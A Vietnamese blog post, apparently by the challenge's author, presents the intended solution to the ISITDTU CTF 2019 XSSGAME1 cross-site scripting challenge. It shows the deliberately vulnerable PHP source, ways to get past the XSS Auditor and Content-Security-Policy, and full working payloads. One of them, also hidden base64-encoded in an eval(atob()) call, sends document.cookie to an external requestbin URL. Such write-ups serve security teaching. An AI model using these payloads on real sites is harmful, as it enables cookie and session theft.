ISITDTU CTF 2019 (XSSGAME 1)

Cũng một thời gian dài mình chưa có gì đó để viết, lẽ ra trước bài này sẽ là một bài post với motip quen thuộc “tôi đã pwn full cái app nào đó của cái subdomain nào đó của spotify như thế nào” mà tại bất mãn nhiều thứ quá nên thôi.
Nói xuông thì không ai tin nên để lại tấm hình làm bằng chứng.

p/s: không phải tự nhiên chữ full lại in đậm đâu

Thôi quay về chủ đề chính, bài XSSGAME1 này mình lấy ý tưởng trong một phút nông nổi, do không có nhiều thời gian nên mình không kịp handle được một số thiếu sót, dẫn đến người chơi bị cuốn vào một solution quá dễ. Mình cũng từng có ý định filter một số kí tự để người chơi biết được solution mà tác giả nhắm đến nhưng nghĩ lại làm vậy sẽ làm mất tính “code nub tự nhiên” của bài. Do đó mình quyết định giữ nguyên và coi như đây là một thất bại trong việc ra đề.

Thực tế bài này chỉ là XSS và không cần cho source, người chơi có thể fuzz và đoán được code viết như thế nào. Vậy nên mình để source dưới dạng backup, ai thấy được thì rõ ràng hơn mà không thấy được cũng chẳng sao.

<?php header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';sandbox allow-scripts allow-same-origin"); header("X-XSS-Protection: 1; mode=block"); function blacklist($strings) { if(strlen($strings)>500)
	{
		die("Too Long");
	}

	if(preg_match('/[\'`]+/i', $strings))
	{
		die('Not Allow');
	}
}
if(isset($_GET['pl'])&&!empty($_GET['pl']))
{
	$xss = $_GET['pl'];
	blacklist($xss);
?>

/*** We prevent change the location ***:
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3EObject.freeze(location)%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" /><?=$xss?>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3Elocation%3D'http%3A%2F%2F%3C%3F%3D%24xss%20%3F%3E'%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />

<?php
	
}
else
{
	echo "<a href='?pl=xss'>click me</a>
Bot check: <a href='submit.php'>here</a>";
}
?>

Một số đội giải bằng cách rất dễ bằng cách sử dụng double string để bypass Auditor và location.assign để bypass Object.freeze(location).
Mình đã từng có ý định chặn lại cách này nhưng sửa đề đang lúc thi sẽ gây ra nhiều phiền phức nên thôi
Ý tưởng thực sự:

S1.

Lợi dụng tính năng về đường dẫn tương đối của php ( http://abc.xyz/index.php/xxx -> http://abc.xyz/index.php ) để tạo ra một file có nội dung là text mà không cần phải control param. Từ đó tận dụng tính năng accept Same Origin Policy của Auditor để chèn được script từ một file nằm trên server (Nếu file có dạng param `http://abc.xyz/gggg?x` thì auditor sẽ kích hoạt trạng thái danger).
cụ thể payload sẽ như sau:

http://165.22.52.11/XSSGAME1/?pl=sss/../../../XSSGAME1/index.php/?pl=/*%3Cscript%20x=*/alert(1)://%20src=%22/aaa%3E

nhờ dấu double quote được in ra 2 lần nên ta sẽ nhận được response trả về như sau

/*** We prevent change the location ***:
<script>Object.freeze(location);</script>sss/../../../XSSGAME1/index.php/?pl=/*<script x=*/alert(1);// src="/aaa><br><script>location='http://sss/../../../XSSGAME1/index.php/?pl=/*<script x=*/alert(1);// src="/aaa>';</script>

phiên bản thực:

cái SRC kia sẽ là

http://165.22.52.11/aaa><br><script>location='http://sss/../../../XSSGAME1/index.php/?pl=/*<script x=*/alert(1);// src=

sau khi browser rút gọn đường dẫn sẽ trở thành

165.22.52.11/XSSGAME1/index.php/?pl=/*<script%20x=*/alert(1);//%20src=

response trả về:

và file đó sẽ trở thành script sẽ được thêm vô đoạn inject ban đầu, với comment trước và sau thì script thực thi sẽ để ở trong đoạn alert(1).

S2.

Sau khi bước 1 thành công, thì coi như đã có thể thực thi được script, tuy nhiên script chỉ có thể nằm trong sandbox và chỉ có thể tương tác với Same Origin theo CSP mô tả (object location trên lý thuyết đã bị freeze, cơ mà hacker thế giới đã bypass con đường này bằng cách dùng location.assign, không hiểu trời sinh ra cái mấy cái method này làm gì, để hack dễ hơn à >.< ). Trong context này CSP chỉ dùng duy nhất ở file index.php (nhìn code là đoán ra ngay). robots.txt, submit.php, … không có CSP. Do đó có một cách bypass CSP là để một endpoint không chứa CSP ở trong một endpoint có thể XSS mà chứa CSP và thực thi script bên trong endpoint không chứa CSP. Mình dùng iframe và đây cũng là cách dễ nhất.
Cụ thể như sau:

S2.1.

Tạo 1 iframe bằng javascript và src trỏ đến một điểm không có CSP. (Tức là endpoint thứ nhất nằm ngoài chứa endpoint thứ hai nằm trong, endpoint thứ nhất chính là index.php có CSP, endpoint thứ hai có thể là robots.txt, submit.php,… miễn sao không có CSP ), điều này hoàn toàn có thể được vì CSP quy định default là self và endpoint thứ nhất + endpoint thứ hai có chung Origin.

S2.2.

Khi load endpoint thứ hai (endpoint nằm trong iframe) lên, một đoạn script sẽ được đưa vào trong endpoint thứ hai (tận dụng việc đã chèn được XSS ở endpoint thứ nhất), tại endpoint thứ hai này, CSP sẽ không work, do đó có thể tạo object image,svg hay bất kì cái gì đó có thể có tag attribute là src và đưa giá trị cần leak ra ngoài (ở đây là cookie, vì flag nằm trong cookie).
Hình dung đoạn code sẽ như sau:

f=document.createElement("iframe");f.id="bechanh";f.src="/XSSGAME1/submit.php"; f.onload=()=>{x=document.createElement('img');x.src='//requestbin.net/r/18gn6aa1?inspect=lallalala/'+document.cookie;bechanh.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);

Ghép 2 Stage lại, ta có payload như sau:

http://165.22.52.11/XSSGAME1/?pl=sss/../../../XSSGAME1/index.php/?pl=/*%3Cscript%20x=*/eval(atob(/Zj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpZnJhbWUiKTsgIGYuaWQ9ImJlY2hhbmgiO2Yuc3JjPSIvWFNTR0FNRTEvc3VibWl0LnBocCI7IGYub25sb2FkPSgpPT57eD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTt4LnNyYz0nLy9yZXF1ZXN0YmluLm5ldC9yLzE4Z242YWExP2luc3BlY3Q9bGFsbGFsYWxhJytkb2N1bWVudC5jb29raWU7YmVjaGFuaC5jb250ZW50V2luZG93LmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoeCl9O2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZik7/.source));//%20src=%22/aaa%3E

Mình dùng kí tự \ để quote đoạn base64 vì hầu như các kí tự dùng để quote bị filter hết

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s